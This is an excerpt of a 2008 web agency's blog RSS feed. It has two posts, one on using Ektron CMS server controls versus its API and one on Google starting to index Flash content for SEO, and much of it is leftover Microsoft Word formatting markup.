		<item>
		<title>Ektron: Clarification on User Controls vs API</title>
		<link>http://www.activoinc.com/blog/2008/07/30/ektron-clarification-on-user-controls-vs-api/</link>
		<comments>http://www.activoinc.com/blog/2008/07/30/ektron-clarification-on-user-controls-vs-api/#comments</comments>
		<pubDate>Thu, 31 Jul 2008 00:44:36 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[.NET Framework]]></category>

		<category><![CDATA[Ektron]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[.NET]]></category>

		<category><![CDATA[Ektron API]]></category>

		<category><![CDATA[Ektron CMS]]></category>

		<category><![CDATA[Ektron User Controls]]></category>

		<category><![CDATA[User Controls]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=26</guid>
		<description><![CDATA[
We recently spotted an article from Bill Roger&#8217;s blog (Ektron&#8217;s CEO) which discusses usage of the Ektron Server Controls v.s. Ektron&#8217;s API. At Activo, we are constantly using both approaches and indeed each approach is a bit different and is used in different situations. The article makes it much clearer that Ektron actually put more [...]]]></description>
			<content:encoded><![CDATA[<p><!--[if gte mso 10]></p>
<style>
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-qformat:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman","serif";}
</style>
<p><![endif]--></p>
<p class="MsoNormal">We recently spotted an article from Bill Roger&#8217;s blog (<a href="http://www.ektron.com/" target="_blank" onclick="javascript:pageTracker._trackPageview ('/outbound/www.ektron.com');">Ektron</a>&#8217;s CEO) which discusses <a href="http://www.ektron.com/ceonotes.aspx?id=6442" target="_blank" onclick="javascript:pageTracker._trackPageview ('/outbound/www.ektron.com');">usage of the Ektron Server Controls v.s. Ektron&#8217;s API</a>. At Activo, we are constantly using both approaches and indeed each approach is a bit different and is used in different situations. The article makes it much clearer that Ektron actually put more effort than we thought before into the Server Controls. Understanding that the Server Controls were made for this sort of usage makes us now feel more secure using this method. Previously, I always thought of this method as a hack and preferred the API.</p>
<p class="MsoNormal">Frank heads our .NET development team and added the following:</p>
<p>I&#8217;ve found it easier to start off with a foundation of one of the server controls and build off of that, rather than using only API calls. The server control acts as a &#8220;datareader&#8221; which can be used to access the data initially. Many of the custom controls we built to replace XSLT use this model:</p>
<ul>
<li>Add a ListSummary inside the user control/page and set its properties.</li>
<li>Access the ListSummary&#8217;s EkItems property.</li>
<li>Manipulate the data from EkItems, transform it, and output it into a repeater.</li>
</ul>
<p>This tends to work more reliably than using the API calls. However, if the code needs to bypass the permissions model, the only option is to go direct using the API.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/07/30/ektron-clarification-on-user-controls-vs-api/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Flash and Search Engine Optimization (SEO)</title>
		<link>http://www.activoinc.com/blog/2008/07/05/flash-and-search-engine-optimization-seo/</link>
		<comments>http://www.activoinc.com/blog/2008/07/05/flash-and-search-engine-optimization-seo/#comments</comments>
		<pubDate>Sun, 06 Jul 2008 06:39:40 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[Search Engine Optimization (SEO)]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[adobe]]></category>

		<category><![CDATA[flash]]></category>

		<category><![CDATA[google crawler]]></category>

		<category><![CDATA[search engine]]></category>

		<category><![CDATA[shokwave]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=23</guid>
		<description><![CDATA[Those of you who worked with Activo on SEO projects know that we have always opposed Flash. At Activo we always valued traffic over look &#38; feel which translated into avoiding Flash technology altogether. Well, no more! If it is true that Flash sites can now receive &#8216;equal&#8217; treatment, then we will give Flash its [...]]]></description>
			<content:encoded><![CDATA[<p>Those of you who worked with Activo on SEO projects know that we have always opposed Flash. At Activo we always valued traffic over look &amp; feel which translated into avoiding Flash technology altogether. Well, no more! If it is true that Flash sites can now receive &#8216;equal&#8217; treatment, then we will give Flash its place in our Web Development practices.</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-25 aligncenter" title="flash_and_google_logos" src="http://www.activoinc.com/blog/wp-content/uploads/2008/07/flash_and_google_logos.gif" alt="" width="450" height="83" /></p>
<p>In recent days, both Adobe and Google issued press releases and blog articles how Google&#8217;s crawler will be able to read into Shockwave (.swf) files. This means that all text, menus, and content that is embedded in a Flash object file will now be readable by search engines. Adobe published the Showkwave standards so search engines will be able to read it and Google was one of the first to respond and announce that it knows how to read Shokwave contents. What a welcomed change!</p>
<p>What this means is that we will now have additional parameters to take into account, especially in websites that have decided not to work with flash as their main platform but instead offer a small portion of their home page in flash (such as a banner or a rotating main message). Additionally, if this holds true and Google will be able to read into Shokwave (flash) files than we will start seeing more flash based sites coming up in the Organic search results from Google and search engines.</p>
<p>Sources:</p>
<ul>
<li><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves /> <w:TrackFormatting /> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF /> <w:LidThemeOther>EN-US</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> <w:SplitPgBreakAndParaMark /> <w:DontVertAlignCellWithSp /> <w:DontBreakConstrainedForcedTables /> <w:DontVertAlignInTxbx /> <w:Word11KerningPairs /> <w:CachedColBalance /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math" /> <m:brkBin m:val="before" /> <m:brkBinSub m:val="&#45;-" /> <m:smallFrac m:val="off" /> <m:dispDef /> <m:lMargin m:val="0" /> <m:rMargin m:val="0" /> <m:defJc m:val="centerGroup" /> <m:wrapIndent m:val="1440" /> <m:intLim m:val="subSup" /> <m:naryLim m:val="undOvr" /> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w:LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w:LsdException Locked="false" Priority="39" Name="toc 1" /> <w:LsdException Locked="false" Priority="39" Name="toc 2" /> <w:LsdException Locked="false" Priority="39" Name="toc 3" /> <w:LsdException Locked="false" Priority="39" Name="toc 4" /> <w:LsdException Locked="false" Priority="39" Name="toc 5" /> <w:LsdException Locked="false" Priority="39" Name="toc 6" /> <w:LsdException Locked="false" Priority="39" Name="toc 7" /> <w:LsdException Locked="false" Priority="39" Name="toc 8" /> <w:LsdException Locked="false" Priority="39" Name="toc 9" /> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w:LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w:LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w:LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w:LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w:LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w:LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w:LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w:LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w:LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w:LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w:LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w:LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w:LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w:LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w:LsdException Locked="false" Priority="37" Name="Bibliography" /> <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w:LatentStyles> </xml><![endif]--> <span style="font-size: 11pt; font-family: "><a href="http://www.adobe.com/aboutadobe/pressroom/pressreleases/200806/070108AdobeRichMediaSearch.html" onclick="javascript:pageTracker._trackPageview ('/outbound/www.adobe.com');">http://www.adobe.com/aboutadobe/pressroom/pressreleases/200806/070108AdobeRichMediaSearch.html</a></span></li>
<li><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves /> <w:TrackFormatting /> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF /> <w:LidThemeOther>EN-US</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> <w:SplitPgBreakAndParaMark /> <w:DontVertAlignCellWithSp /> <w:DontBreakConstrainedForcedTables /> <w:DontVertAlignInTxbx /> <w:Word11KerningPairs /> <w:CachedColBalance /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math" /> <m:brkBin m:val="before" /> <m:brkBinSub m:val="&#45;-" /> <m:smallFrac m:val="off" /> <m:dispDef /> <m:lMargin m:val="0" /> <m:rMargin m:val="0" /> <m:defJc m:val="centerGroup" /> <m:wrapIndent m:val="1440" /> <m:intLim m:val="subSup" /> <m:naryLim m:val="undOvr" /> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w:LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w:LsdException Locked="false" Priority="39" Name="toc 1" /> <w:LsdException Locked="false" Priority="39" Name="toc 2" /> <w:LsdException Locked="false" Priority="39" Name="toc 3" /> <w:LsdException Locked="false" Priority="39" Name="toc 4" /> <w:LsdException Locked="false" Priority="39" Name="toc 5" /> <w:LsdException Locked="false" Priority="39" Name="toc 6" /> <w:LsdException Locked="false" Priority="39" Name="toc 7" /> <w:LsdException Locked="false" Priority="39" Name="toc 8" /> <w:LsdException Locked="false" Priority="39" Name="toc 9" /> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w:LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w:LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w:LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w:LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w:LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w:LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w:LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w:LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w:LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> 